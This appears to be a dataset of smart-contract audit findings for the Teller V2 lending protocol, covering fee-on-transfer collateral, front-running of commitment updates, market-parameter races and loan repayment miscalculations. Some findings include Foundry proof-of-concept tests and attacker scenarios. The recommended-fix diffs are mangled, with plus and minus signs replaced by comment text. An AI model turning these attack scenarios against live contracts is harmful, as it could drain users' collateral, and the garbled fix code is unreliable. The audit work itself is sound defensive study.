address(0x4);\\n for (uint256 i = 0; i < newUsers.length; i++) {\\n users[id].add(newUsers[i]);\\n }\\n bool exist = users[id].contains(address(0x1));\\n if(exist) {\\n emit log_string("address(0x1) exist");\\n }\\n exist = users[id].contains(address(0x2));\\n if(exist) {\\n emit log_string("address(0x2) exist");\\n }\\n }\\n/*\\n[PASS] test_deleteEnumerableSet() (gas: 174783)\\nLogs:\\n address(0x1) exist\\n address(0x2) exist\\n*/\\n```\\n | In order to clean an `EnumerableSet`, you can either remove all elements one by one or create a fresh instance using an array of `EnumerableSet`. | The deleted Users can still successfully call `LenderCommitmentForwarder.acceptCommitment` to get a loan. | ```\\nmapping(uint256 => EnumerableSetUpgradeable.AddressSet)\\n internal commitmentBorrowersList;\\n \\nfunction updateCommitmentBorrowers(\\n uint256 _commitmentId,\\n address[] calldata _borrowerAddressList\\n ) public commitmentLender(_commitmentId) {\\n delete commitmentBorrowersList[_commitmentId];\\n _addBorrowersToCommitmentAllowlist(_commitmentId, _borrowerAddressList);\\n }\\n```\\n |
If the collateral is a fee-on-transfer token, repayment will be blocked | medium | As we all know, some tokens will deduct fees when transferring token. In this way, the actual amount of token received by the receiver will be less than the amount sent. If the collateral is this type of token, the amount of collateral recorded in the contract will bigger than the actual amount. When the borrower repays the loan, the amount of collateral withdrawn will be insufficient, causing tx revert.\\nThe `_bidCollaterals` mapping of `CollateralManager` records the `CollateralInfo` of each bidId. This structure records the collateral information provided by the user when creating a bid for a loan. A lender can accept a loan by calling `TellerV2.lenderAcceptBid` that will eventually transfer the user's collateral from the user address to the CollateralEscrowV1 contract corresponding to the loan. The whole process will deduct fee twice.\\n```\\n//CollateralManager.sol\\nfunction _deposit(uint256 _bidId, Collateral memory collateralInfo)\\n internal\\n virtual\\n {\\n // rest of code// rest of code\\n // Pull collateral from borrower & deposit into escrow\\n if (collateralInfo._collateralType == CollateralType.ERC20) {\\n IERC20Upgradeable(collateralInfo._collateralAddress).transferFrom( //transferFrom first time\\n borrower,\\n address(this),\\n collateralInfo._amount\\n );\\n IERC20Upgradeable(collateralInfo._collateralAddress).approve(\\n escrowAddress,\\n collateralInfo._amount\\n );\\n collateralEscrow.depositAsset( //transferFrom second time\\n CollateralType.ERC20,\\n collateralInfo._collateralAddress,\\n collateralInfo._amount, //this value is from user's input\\n 0\\n );\\n }\\n // rest of code// rest of code\\n }\\n```\\n\\nThe amount of collateral recorded by the CollateralEscrowV1 contract is equal to the amount originally submitted by the user.\\nWhen the borrower repays the loan, `collateralManager.withdraw` will be triggered. This function internally calls `CollateralEscrowV1.withdraw`. Since the balance of the collateral in the CollateralEscrowV1 contract is less than the amount to be withdrawn, the entire transaction reverts.\\n```\\n//CollateralEscrowV1.sol\\nfunction _withdrawCollateral(\\n Collateral memory _collateral,\\n address _collateralAddress,\\n uint256 _amount,\\n address _recipient\\n ) internal {\\n // Withdraw ERC20\\n if (_collateral._collateralType == CollateralType.ERC20) {\\n IERC20Upgradeable(_collateralAddress).transfer( //revert\\n _recipient,\\n _collateral._amount //_collateral.balanceOf(address(this)) < _collateral._amount\\n );\\n }\\n // rest of code// rest of code\\n }\\n```\\n | Two ways to fix this issue.\\nThe `afterBalance-beforeBalance` method should be used when recording the amount of collateral.\\n` --- a/teller-protocol-v2/packages/contracts/contracts/escrow/CollateralEscrowV1.sol\\n +++ b/teller-protocol-v2/packages/contracts/contracts/escrow/CollateralEscrowV1.sol\\n @@ -165,7 +165,7 @@ contract CollateralEscrowV1 is OwnableUpgradeable, ICollateralEscrowV1 {\\n if (_collateral._collateralType == CollateralType.ERC20) {\\n IERC20Upgradeable(_collateralAddress).transfer(\\n _recipient,\\n - _collateral._amount\\n + IERC20Upgradeable(_collateralAddress).balanceOf(address(this))\\n );\\n }` | The borrower's collateral is stuck in the instance of CollateralEscrowV1. Non-professional users will never know that they need to manually transfer some collateral into CollateralEscrowV1 to successfully repay.\\nThis issue blocked the user's repayment, causing the loan to be liquidated.\\nThe liquidator will not succeed by calling `TellerV2.liquidateLoanFull`. | ```\\n//CollateralManager.sol\\nfunction _deposit(uint256 _bidId, Collateral memory collateralInfo)\\n internal\\n virtual\\n {\\n // rest of code// rest of code\\n // Pull collateral from borrower & deposit into escrow\\n if (collateralInfo._collateralType == CollateralType.ERC20) {\\n IERC20Upgradeable(collateralInfo._collateralAddress).transferFrom( //transferFrom first time\\n borrower,\\n address(this),\\n collateralInfo._amount\\n );\\n IERC20Upgradeable(collateralInfo._collateralAddress).approve(\\n escrowAddress,\\n collateralInfo._amount\\n );\\n collateralEscrow.depositAsset( //transferFrom second time\\n CollateralType.ERC20,\\n collateralInfo._collateralAddress,\\n collateralInfo._amount, //this value is from user's input\\n 0\\n );\\n }\\n // rest of code// rest of code\\n }\\n```\\n |
LenderCommitmentForwarder#updateCommitment can be front-run by malicious borrower to cause lender to over-commit funds | medium | This is the same idea as approve vs increaseAlllowance. updateCommitment is a bit worse though because there are more reason why a user may wish to update their commitment (expiration, collateral ratio, interest rate, etc).\\nLenderCommitmentForwarder.sol#L212-L222\\n```\\n require(\\n _commitment.principalTokenAddress ==\\n commitments[_commitmentId].principalTokenAddress,\\n "Principal token address cannot be updated."\\n );\\n require(\\n _commitment.marketId == commitments[_commitmentId].marketId,\\n "Market Id cannot be updated."\\n );\\n\\n commitments[_commitmentId] = _commitment;\\n```\\n\\nLenderCommitmentForwarder#updateCommitment overwrites ALL of the commitment data. This means that even if a user is calling it to update even one value the maxPrincipal will reset, opening up the following attack vector:\\nUser A creates a commitment for 100e6 USDC lending against ETH\\nUser A's commitment is close to expiry so they call to update their commitment with a new expiration\\nUser B sees this update and front-runs it with a loan against the commitment for 100e6 USDC\\nUser A's commitment is updated and the amount is set back to 100e6 USDC\\nUser B takes out another loan for 100e6 USDC\\nUser A has now loaned out 200e6 USDC when they only meant to loan 100e6 USDC | Create a function that allows users to extend expiry while keeping amount unchanged. Additionally create a function similar to increaseApproval which increase amount instead of overwriting amount. | Commitment is abused to over-commit lender | ```\\n require(\\n _commitment.principalTokenAddress ==\\n commitments[_commitmentId].principalTokenAddress,\\n "Principal token address cannot be updated."\\n );\\n require(\\n _commitment.marketId == commitments[_commitmentId].marketId,\\n "Market Id cannot be updated."\\n );\\n\\n commitments[_commitmentId] = _commitment;\\n```\\n |
Bid submission vulnerable to market parameters changes | medium | The details for the audit state:\\nMarket owners should NOT be able to race-condition attack borrowers or lenders by changing market settings while bids are being submitted or accepted (while tx are in mempool). Care has been taken to ensure that this is not possible (similar in theory to sandwich attacking but worse as if possible it could cause unexpected and non-consentual interest rate on a loan) and further-auditing of this is welcome.\\nHowever, there is little protection in place to protect the submitter of a bid from changes in market parameters.\\nIn _submitBid(), certain bid parameters are taken from the marketRegistry:\\n```\\n function _submitBid(// rest of code)\\n // rest of code\\n (bid.terms.paymentCycle, bidPaymentCycleType[bidId]) = marketRegistry\\n .getPaymentCycle(_marketplaceId);\\n\\n bid.terms.APR = _APR;\\n\\n bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(\\n _marketplaceId\\n );\\n\\n bidExpirationTime[bidId] = marketRegistry.getBidExpirationTime(\\n _marketplaceId\\n );\\n\\n bid.paymentType = marketRegistry.getPaymentType(_marketplaceId);\\n \\n bid.terms.paymentCycleAmount = V2Calculations\\n .calculatePaymentCycleAmount(\\n bid.paymentType,\\n bidPaymentCycleType[bidId],\\n _principal,\\n _duration,\\n bid.terms.paymentCycle,\\n _APR\\n );\\n // rest of code\\n```\\n | Take every single parameters as input of `_submitBid()` (including fee percents) and compare them to the values in `marketRegistry` to make sure borrower agrees with them, revert if they differ. | If market parameters are changed in between the borrower submitting a bid transaction and the transaction being applied, borrower may be subject to changes in `bidDefaultDuration`, `bidExpirationTime`, `paymentType`, `paymentCycle`, `bidPaymentCycleType` and `paymentCycleAmount`.\\nThat is, the user may be committed to the bid for longer / shorter than expected. They may have a longer / shorter default duration (time for the loan being considered defaulted / eligible for liquidation). They have un-provisioned for payment type and cycle parameters.\\nI believe most of this will have a medium impact on borrower (mild inconveniences / resolvable by directly repaying the loan) if the market owner is not evil and adapting the parameters reasonably.\\nAn evil market owner can set the value of `bidDefaultDuration` and `paymentCycle` very low (0) so that the loan will default immediately. It can then accept the bid, make user default immediately, and liquidate the loan to steal the user's collateral. This results in a loss of collateral for the borrower. | ```\\n function _submitBid(// rest of code)\\n // rest of code\\n (bid.terms.paymentCycle, bidPaymentCycleType[bidId]) = marketRegistry\\n .getPaymentCycle(_marketplaceId);\\n\\n bid.terms.APR = _APR;\\n\\n bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(\\n _marketplaceId\\n );\\n\\n bidExpirationTime[bidId] = marketRegistry.getBidExpirationTime(\\n _marketplaceId\\n );\\n\\n bid.paymentType = marketRegistry.getPaymentType(_marketplaceId);\\n \\n bid.terms.paymentCycleAmount = V2Calculations\\n .calculatePaymentCycleAmount(\\n bid.paymentType,\\n bidPaymentCycleType[bidId],\\n _principal,\\n _duration,\\n bid.terms.paymentCycle,\\n _APR\\n );\\n // rest of code\\n```\\n |
EMI last payment not handled perfectly could lead to borrower losing collaterals | medium | The ternary logic of `calculateAmountOwed()` could have the last EMI payment under calculated, leading to borrower not paying the owed principal and possibly losing the collaterals if care has not been given to.\\nSupposing Bob has a loan duration of 100 days such that the payment cycle is evenly spread out, i.e payment due every 10 days, here is a typical scenario:\\nBob has been making his payment due on time to avoid getting marked delinquent. For the last payment due, Bob decides to make it 5 minutes earlier just to make sure he will not miss it.\\nHowever, `duePrincipal_` ends up assigned the minimum of `owedAmount - interest_` and `owedPrincipal_`, where the former is chosen since `oweTime` is less than _bid.terms.paymentCycle:\\n```\\n } else {\\n // Default to PaymentType.EMI\\n // Max payable amount in a cycle\\n // NOTE: the last cycle could have less than the calculated payment amount\\n uint256 maxCycleOwed = isLastPaymentCycle\\n ? owedPrincipal_ + interest_\\n : _bid.terms.paymentCycleAmount;\\n\\n // Calculate accrued amount due since last repayment\\n uint256 owedAmount = (maxCycleOwed * owedTime) /\\n _bid.terms.paymentCycle;\\n duePrincipal_ = Math.min(owedAmount - interest_, owedPrincipal_);\\n }\\n```\\n\\nHence, in `_repayLoan()`, `paymentAmount >= _owedAmount` equals false failing to close the loan to have the collaterals returned to Bob:\\n```\\n if (paymentAmount >= _owedAmount) {\\n paymentAmount = _owedAmount;\\n bid.state = BidState.PAID;\\n\\n // Remove borrower's active bid\\n _borrowerBidsActive[bid.borrower].remove(_bidId);\\n\\n // If loan is is being liquidated and backed by collateral, withdraw and send to borrower\\n if (_shouldWithdrawCollateral) {\\n collateralManager.withdraw(_bidId);\\n }\\n\\n emit LoanRepaid(_bidId);\\n```\\n\\nWhile lingering and not paying too much attention to the collateral still in escrow, Bob presumes his loan is now settled.\\nNext, Alex the lender has been waiting for this golden opportunity and proceeds to calling `CollateralManager.withdraw()` to claim all collaterals as soon as the loan turns defaulted. | Consider refactoring the affected ternary logic as follows:\\n```\\n } else {\\n// Add the line below\\n duePrincipal = isLastPaymentCycle\\n// Add the line below\\n ? owedPrincipal\\n// Add the line below\\n : (_bid.terms.paymentCycleAmount * owedTime) / _bid.terms.paymentCycle;\\n\\n // Default to PaymentType.EMI\\n // Max payable amount in a cycle\\n // NOTE: the last cycle could have less than the calculated payment amount\\n// Remove the line below\\n uint256 maxCycleOwed = isLastPaymentCycle\\n// Remove the line below\\n ? owedPrincipal_ // Add the line below\\n interest_\\n// Remove the line below\\n : _bid.terms.paymentCycleAmount;\\n\\n // Calculate accrued amount due since last repayment\\n// Remove the line below\\n uint256 owedAmount = (maxCycleOwed * owedTime) /\\n// Remove the line below\\n _bid.terms.paymentCycle;\\n// Remove the line below\\n duePrincipal_ = Math.min(owedAmount // Remove the line below\\n interest_, owedPrincipal_);\\n }\\n```\\n | Bob ended up losing all collaterals for the sake of the minute amount of loan unpaid whereas Alex receives almost all principal plus interests on top of the collaterals. | ```\\n } else {\\n // Default to PaymentType.EMI\\n // Max payable amount in a cycle\\n // NOTE: the last cycle could have less than the calculated payment amount\\n uint256 maxCycleOwed = isLastPaymentCycle\\n ? owedPrincipal_ + interest_\\n : _bid.terms.paymentCycleAmount;\\n\\n // Calculate accrued amount due since last repayment\\n uint256 owedAmount = (maxCycleOwed * owedTime) /\\n _bid.terms.paymentCycle;\\n duePrincipal_ = Math.min(owedAmount - interest_, owedPrincipal_);\\n }\\n```\\n |
defaulting doesn't change the state of the loan | medium | The lender can claim the borrowers collateral in case they have defaulted on their payments. This however does not change the state of the loan so the borrower can continue making payments to the lender even though the loan is defaulted.\\n```\\nFile: CollateralManager.sol\\n\\n } else if (tellerV2.isLoanDefaulted(_bidId)) {\\n _withdraw(_bidId, tellerV2.getLoanLender(_bidId)); // sends collateral to lender\\n emit CollateralClaimed(_bidId);\\n } else {\\n```\\n\\nSince this is in `CollateralManager` nothing is updating the state kept in `TellerV2` which will still be `ACCEPTED`. The lender could still make payments (in vain). | Remove the possibility for the lender to default the loan in `CollateralManager`. Move defaulting to `TellerV2` so it can properly close the loan. | The borrower can continue paying unknowing that the loan is defaulted. The lender could, given a defaulted loan, see that the lender is trying to save their loan and front run the late payment with a seize of collateral. Then get both the late payment and the collateral. This is quite an unlikely scenario though.\\nThe loan will also be left active since even if the borrower pays the `withdraw` of collateral will fail since the collateral is no longer there. | ```\\nFile: CollateralManager.sol\\n\\n } else if (tellerV2.isLoanDefaulted(_bidId)) {\\n _withdraw(_bidId, tellerV2.getLoanLender(_bidId)); // sends collateral to lender\\n emit CollateralClaimed(_bidId);\\n } else {\\n```\\n |
bids can be created against markets that doesn't exist | medium | Bids can be created against markets that does not yet exist. When this market is created, the bid can be accepted but neither defaulted/liquidated nor repaid.\\nThere's no verification that the market actually exists when submitting a bid. Hence a user could submit a bid for a non existing market.\\nFor it to not revert it must have 0% APY and the bid cannot be accepted until a market exists.\\nHowever, when this market is created the bid can be accepted. Then the loan would be impossible to default/liquidate:\\n```\\nFile: TellerV2.sol\\n\\n if (bidDefaultDuration[_bidId] == 0) return false;\\n```\\n\\nSince `bidDefaultDuration[_bidId]` will be `0`\\nAny attempt to repay will revert due to division by 0:\\n```\\nFile: libraries/V2Calculations.sol\\n\\n uint256 owedAmount = (maxCycleOwed * owedTime) /\\n _bid.terms.paymentCycle; \\n```\\n\\nSince `_bid.terms.paymentCycle` will also be `0` (and it will always end up in this branch since `PaymentType` will be EMI (0)).\\nHence the loan can never be closed.\\nPoC:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";\\n\\nimport { TellerV2 } from "../contracts/TellerV2.sol";\\nimport { CollateralManager } from "../contracts/CollateralManager.sol";\\nimport { LenderCommitmentForwarder } from "../contracts/LenderCommitmentForwarder.sol";\\nimport { CollateralEscrowV1 } from "../contracts/escrow/CollateralEscrowV1.sol";\\nimport { MarketRegistry } from "../contracts/MarketRegistry.sol";\\n\\nimport { ReputationManagerMock } from "../contracts/mock/ReputationManagerMock.sol";\\nimport { LenderManagerMock } from "../contracts/mock/LenderManagerMock.sol";\\nimport { TellerASMock } from "../contracts/mock/TellerASMock.sol";\\n\\nimport {TestERC20Token} from "./tokens/TestERC20Token.sol";\\n\\nimport "lib/forge-std/src/Test.sol";\\nimport "lib/forge-std/src/StdAssertions.sol";\\n\\ncontract LoansTest is Test {\\n MarketRegistry marketRegistry;\\n TellerV2 tellerV2;\\n \\n TestERC20Token principalToken;\\n\\n address alice = address(0x1111);\\n address bob = address(0x2222);\\n address owner = address(0x3333);\\n\\n function setUp() public {\\n tellerV2 = new TellerV2(address(0));\\n\\n marketRegistry = new MarketRegistry();\\n TellerASMock tellerAs = new TellerASMock();\\n marketRegistry.initialize(tellerAs);\\n\\n LenderCommitmentForwarder lenderCommitmentForwarder = \\n new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));\\n CollateralManager collateralManager = new CollateralManager();\\n collateralManager.initialize(address(new UpgradeableBeacon(address(new CollateralEscrowV1()))),\\n address(tellerV2));\\n address rm = address(new ReputationManagerMock());\\n address lm = address(new LenderManagerMock());\\n tellerV2.initialize(0, address(marketRegistry), rm, address(lenderCommitmentForwarder),\\n address(collateralManager), lm);\\n\\n principalToken = new TestERC20Token("Principal Token", "PRIN", 12e18, 18);\\n }\\n\\n function testSubmitBidForNonExistingMarket() public {\\n uint256 amount = 12e18;\\n principalToken.transfer(bob,amount);\\n\\n vm.prank(bob);\\n principalToken.approve(address(tellerV2),amount);\\n\\n // alice places bid on non-existing market\\n vm.prank(alice);\\n uint256 bidId = tellerV2.submitBid(\\n address(principalToken),\\n 1, // non-existing right now\\n amount,\\n 360 days,\\n 0, // any APY != 0 will cause revert on div by 0\\n "",\\n alice\\n );\\n\\n // bid cannot be accepted before market\\n vm.expectRevert(); // div by 0\\n vm.prank(bob);\\n tellerV2.lenderAcceptBid(bidId);\\n\\n vm.startPrank(owner);\\n uint256 marketId = marketRegistry.createMarket(\\n owner,\\n 30 days,\\n 30 days,\\n 1 days,\\n 0,\\n false,\\n false,\\n ""\\n );\\n marketRegistry.setMarketFeeRecipient(marketId, owner);\\n vm.stopPrank();\\n\\n // lender takes bid\\n vm.prank(bob);\\n tellerV2.lenderAcceptBid(bidId);\\n\\n // should be liquidatable now\\n vm.warp(32 days);\\n\\n // loan cannot be defaulted/liquidated\\n assertFalse(tellerV2.isLoanDefaulted(bidId));\\n assertFalse(tellerV2.isLoanLiquidateable(bidId));\\n\\n vm.startPrank(alice);\\n principalToken.approve(address(tellerV2),12e18);\\n\\n // and loan cannot be repaid\\n vm.expectRevert(); // division by 0\\n tellerV2.repayLoanFull(bidId);\\n vm.stopPrank();\\n }\\n}\\n```\\n | When submitting a bid, verify that the market exists. | This will lock any collateral forever since there's no way to retrieve it. For this to happen accidentally a borrower would have to create a bid for a non existing market with 0% APY though.\\nThis could also be used to lure lenders since the loan cannot be liquidated/defaulted. This might be difficult since the APY must be 0% for the bid to be created. Also, this will lock any collateral provided by the borrower forever.\\nDue to these circumstances I'm categorizing this as medium. | ```\\nFile: TellerV2.sol\\n\\n if (bidDefaultDuration[_bidId] == 0) return false;\\n```\\n |
last repayments are calculated incorrectly for "irregular" loan durations | medium | When taking a loan, a borrower expects that at the end of each payment cycle they should pay `paymentCycleAmount`. This is not true for loans that are not a multiple of `paymentCycle`.\\nImagine a loan of `1000` that is taken for 2.5 payment cycles (skip interest to keep calculations simple).\\nA borrower would expect to pay `400` + `400` + `200`\\nThis holds true for the first installment.\\nBut lets look at what happens at the second installment, here's the calculation of what is to pay in V2Calculations.sol:\\n```\\nFile: libraries/V2Calculations.sol\\n\\n 93: // Cast to int265 to avoid underflow errors (negative means loan duration has passed)\\n 94: int256 durationLeftOnLoan = int256(\\n 95: uint256(_bid.loanDetails.loanDuration)\\n 96: ) -\\n 97: (int256(_timestamp) -\\n 98: int256(uint256(_bid.loanDetails.acceptedTimestamp)));\\n 99: bool isLastPaymentCycle = durationLeftOnLoan <\\n int256(uint256(_bid.terms.paymentCycle)) || // Check if current payment cycle is within or beyond the last one\\n owedPrincipal_ + interest_ <= _bid.terms.paymentCycleAmount; // Check if what is left to pay is less than the payment cycle amount\\n```\\n\\nSimplified the first calculation says `timeleft = loanDuration - (now - acceptedTimestamp)` and then if `timeleft < paymentCycle` we are within the last payment cycle.\\nThis isn't true for loan durations that aren't multiples of the payment cycles. This code says the last payment cycle is when you are one payment cycle from the end of the loan. Which is not the same as last payment cycle as my example above shows.\\nPoC:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";\\n\\nimport { AddressUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";\\n\\nimport { TellerV2 } from "../contracts/TellerV2.sol";\\nimport { Payment } from "../contracts/TellerV2Storage.sol";\\nimport { CollateralManager } from "../contracts/CollateralManager.sol";\\nimport { LenderCommitmentForwarder } from "../contracts/LenderCommitmentForwarder.sol";\\nimport { CollateralEscrowV1 } from "../contracts/escrow/CollateralEscrowV1.sol";\\nimport { Collateral, CollateralType } from "../contracts/interfaces/escrow/ICollateralEscrowV1.sol";\\n\\nimport { ReputationManagerMock } from "../contracts/mock/ReputationManagerMock.sol";\\nimport { LenderManagerMock } from "../contracts/mock/LenderManagerMock.sol";\\nimport { MarketRegistryMock } from "../contracts/mock/MarketRegistryMock.sol";\\n\\nimport {TestERC20Token} from "./tokens/TestERC20Token.sol";\\n\\nimport "lib/forge-std/src/Test.sol";\\n\\ncontract LoansTest is Test {\\n using AddressUpgradeable for address;\\n\\n MarketRegistryMock marketRegistry;\\n\\n TellerV2 tellerV2;\\n LenderCommitmentForwarder lenderCommitmentForwarder;\\n CollateralManager collateralManager;\\n \\n TestERC20Token principalToken;\\n\\n address alice = address(0x1111);\\n\\n uint256 marketId = 0;\\n\\n function setUp() public {\\n tellerV2 = new TellerV2(address(0));\\n\\n marketRegistry = new MarketRegistryMock();\\n\\n lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));\\n \\n collateralManager = new CollateralManager();\\n collateralManager.initialize(address(new UpgradeableBeacon(address(new CollateralEscrowV1()))), address(tellerV2));\\n\\n address rm = address(new ReputationManagerMock());\\n address lm = address(new LenderManagerMock());\\n tellerV2.initialize(0, address(marketRegistry), rm, address(lenderCommitmentForwarder), address(collateralManager), lm);\\n\\n marketRegistry.setMarketOwner(address(this));\\n marketRegistry.setMarketFeeRecipient(address(this));\\n\\n tellerV2.setTrustedMarketForwarder(marketId,address(lenderCommitmentForwarder));\\n\\n principalToken = new TestERC20Token("Principal Token", "PRIN", 12e18, 18);\\n }\\n\\n\\n function testLoanInstallmentsCalculatedIncorrectly() public {\\n // payment cycle is 1000 in market registry\\n \\n uint256 amount = 1000;\\n principalToken.transfer(alice,amount);\\n \\n vm.startPrank(alice);\\n principalToken.approve(address(tellerV2),2*amount);\\n uint256 bidId = tellerV2.submitBid(\\n address(principalToken),\\n marketId,\\n amount,\\n 2500, // 2.5 payment cycles\\n 0, // 0 interest to make calculations easier\\n "",\\n alice\\n );\\n tellerV2.lenderAcceptBid(bidId);\\n vm.stopPrank();\\n\\n // jump to first payment cycle end\\n vm.warp(block.timestamp + 1000);\\n Payment memory p = tellerV2.calculateAmountDue(bidId);\\n assertEq(400,p.principal);\\n\\n // borrower pays on time\\n vm.prank(alice);\\n tellerV2.repayLoanMinimum(bidId);\\n\\n // jump to second payment cycle\\n vm.warp(block.timestamp + 1000);\\n p = tellerV2.calculateAmountDue(bidId);\\n\\n // should be 400 but is full loan\\n assertEq(600,p.principal);\\n }\\n}\\n```\\n\\nThe details of this finding are out of scope but since it makes `TellerV2`, in scope, behave unexpectedly I believe this finding to be in scope. | First I thought that you could remove the `lastPaymentCycle` calculation all together. I tried that and then also tested what happened with "irregular" loans with interest.\\nThen I found this in the EMI calculation:\\n```\\nFile: libraries/NumbersLib.sol\\n\\n uint256 n = Math.ceilDiv(loanDuration, cycleDuration);\\n```\\n\\nEMI, which is designed for mortgages, assumes the payments is a discrete number of the same amortization essentially. I.e they don't allow "partial" periods at the end, because that doesn't make sense for a mortgage.\\nIn Teller this is allowed which causes some issues with the EMI calculation since the above row will always round up to a full number of payment periods. If you also count interest, which triggers the EMI calculation: The lender, in an "irregular" loan duration, would get less per installment up to the last one which would be bigger. The funds would all be paid with the correct interest in the end just not in the expected amounts.\\nMy recommendation now is:\\neither\\ndon't allow loan durations that aren't a multiple of the period, at least warn about it UI-wise, no one will lose any money but the installments might be split in unexpected amounts.\\nDo away with EMI all together as DeFi loans aren't the same as mortgages. The defaulting/liquidation logic only cares about time since last payment.\\nDo more math to make EMI work with irregular loan durations. This nerd sniped me:\\nMore math:\\nIn the middle we have an equation which describes the owed amount at a time $P_n$:\\n$$P_n=Pt^n-E\\frac{(t^n-1)}{t-n}$$ where $t=1+r$ and $r$ is the monthly interest rate ($apy*C/year$).\\nNow, from here, we want to calculate the loan at a time $P_{n + \\Delta}$:\\n$$P_{n + \\Delta}=Pt^nt_\\Delta-E\\frac{t^n-1}{t-1}t_\\Delta-kE$$\\nWhere $k$ is $c/C$ i.e. the ratio of partial cycle compared to a full cycle.\\nSame with $t_\\Delta$ which is $1+r_\\Delta$, ($r_\\Delta$ is also equal to $kr$, ratio of partial cycle rate to full cycle rate, which we'll use later).\\nReorganize to get $E$ from above:\\n$$ E = P r \\frac{t^nt_\\Delta}{t_\\Delta \\frac{t^n-1}{t-1} + k} $$\\nNow substitute in $1+r$ in place of $t$ and $1+r_\\Delta$ instead of $t_\\Delta$ and multiply both numerator and denominator with $r$:\\n$$ E = P \\frac{r (1+r)^n(1+r_\\Delta)}{(1+r_\\Delta)((1+r)^n - 1) + kr} $$\\nand $kr = r_\\Delta$ gives us:\\n$$ E = P r (1+r)^n \\frac{(1+r_\\Delta)}{(1+r_\\Delta)((1+r)^n - 1) + r_\\Delta} $$\\nTo check that this is correct, $r_\\Delta = 0$ (no extra cycle added) should give us the regular EMI equation. Which we can see is true for the above. And $r_\\Delta = r$ (a full extra cycle added) should give us the EMI equation but with $n+1$ which we can also see it does.\\nHere are the code changes to use this, together with changes to `V2Calculations.sol` to calculate the last period correctly:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/V2Calculations.sol b/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/V2Calculations.sol\\nindex 1cce8da..1ad5bcf 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/V2Calculations.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/V2Calculations.sol\\n@@ // Remove the line below\\n90,30 // Add the line below\\n90,15 @@ library V2Calculations {\\n uint256 owedTime = _timestamp // Remove the line below\\n uint256(_lastRepaidTimestamp);\\n interest_ = (interestOwedInAYear * owedTime) / daysInYear;\\n \\n// Remove the line below\\n // Cast to int265 to avoid underflow errors (negative means loan duration has passed)\\n// Remove the line below\\n int256 durationLeftOnLoan = int256(\\n// Remove the line below\\n uint256(_bid.loanDetails.loanDuration)\\n// Remove the line below\\n ) // Remove the line below\\n\\n// Remove the line below\\n (int256(_timestamp) // Remove the line below\\n\\n// Remove the line below\\n int256(uint256(_bid.loanDetails.acceptedTimestamp)));\\n// Remove the line below\\n bool isLastPaymentCycle = durationLeftOnLoan <\\n// Remove the line below\\n int256(uint256(_bid.terms.paymentCycle)) || // Check if current payment cycle is within or beyond the last one\\n// Remove the line below\\n owedPrincipal_ // Add the line below\\n interest_ <= _bid.terms.paymentCycleAmount; // Check if what is left to pay is less than the payment cycle amount\\n// Remove the line below\\n\\n if (_bid.paymentType == PaymentType.Bullet) {\\n// Remove the line below\\n if (isLastPaymentCycle) {\\n// Remove the line below\\n duePrincipal_ = owedPrincipal_;\\n// Remove the line below\\n }\\n// Add the line below\\n duePrincipal_ = owedPrincipal_;\\n } else {\\n // Default to PaymentType.EMI\\n // Max payable amount in a cycle\\n // NOTE: the last cycle could have less than the calculated payment amount\\n// Remove the line below\\n uint256 maxCycleOwed = isLastPaymentCycle\\n// Remove the line below\\n ? owedPrincipal_ // Add the line below\\n interest_\\n// Remove the line below\\n : _bid.terms.paymentCycleAmount;\\n \\n // Calculate accrued amount due since last repayment\\n// Remove the line below\\n uint256 owedAmount = (maxCycleOwed * owedTime) /\\n// Add the line below\\n uint256 owedAmount = (_bid.terms.paymentCycleAmount * owedTime) /\\n _bid.terms.paymentCycle;\\n duePrincipal_ = Math.min(owedAmount // Remove the line below\\n interest_, owedPrincipal_);\\n }\\n```\\n\\nAnd then NumbersLib.sol:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/NumbersLib.sol b/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/NumbersLib.sol\\nindex f34dd9c..8ca48bc 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/NumbersLib.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/teller// Remove the line below\\nprotocol// Remove the line below\\nv2/packages/contracts/contracts/libraries/NumbersLib.sol\\n@@ // Remove the line below\\n120,7 // Add the line below\\n120,8 @@ library NumbersLib {\\n );\\n \\n // Number of payment cycles for the duration of the loan\\n// Remove the line below\\n uint256 n = Math.ceilDiv(loanDuration, cycleDuration);\\n// Add the line below\\n uint256 n = loanDuration/ cycleDuration;\\n// Add the line below\\n uint256 rest = loanDuration%cycleDuration;\\n \\n uint256 one = WadRayMath.wad();\\n uint256 r = WadRayMath.pctToWad(apr).wadMul(cycleDuration).wadDiv(\\n@@ // Remove the line below\\n128,8 // Add the line below\\n129,16 @@ library NumbersLib {\\n );\\n uint256 exp = (one // Add the line below\\n r).wadPow(n);\\n uint256 numerator = principal.wadMul(r).wadMul(exp);\\n// Remove the line below\\n uint256 denominator = exp // Remove the line below\\n one;\\n \\n// Remove the line below\\n return numerator.wadDiv(denominator);\\n// Add the line below\\n if(rest==0) {\\n// Add the line below\\n // duration is multiple of cycle\\n// Add the line below\\n uint256 denominator = exp // Remove the line below\\n one;\\n// Add the line below\\n return numerator.wadDiv(denominator);\\n// Add the line below\\n }\\n// Add the line below\\n 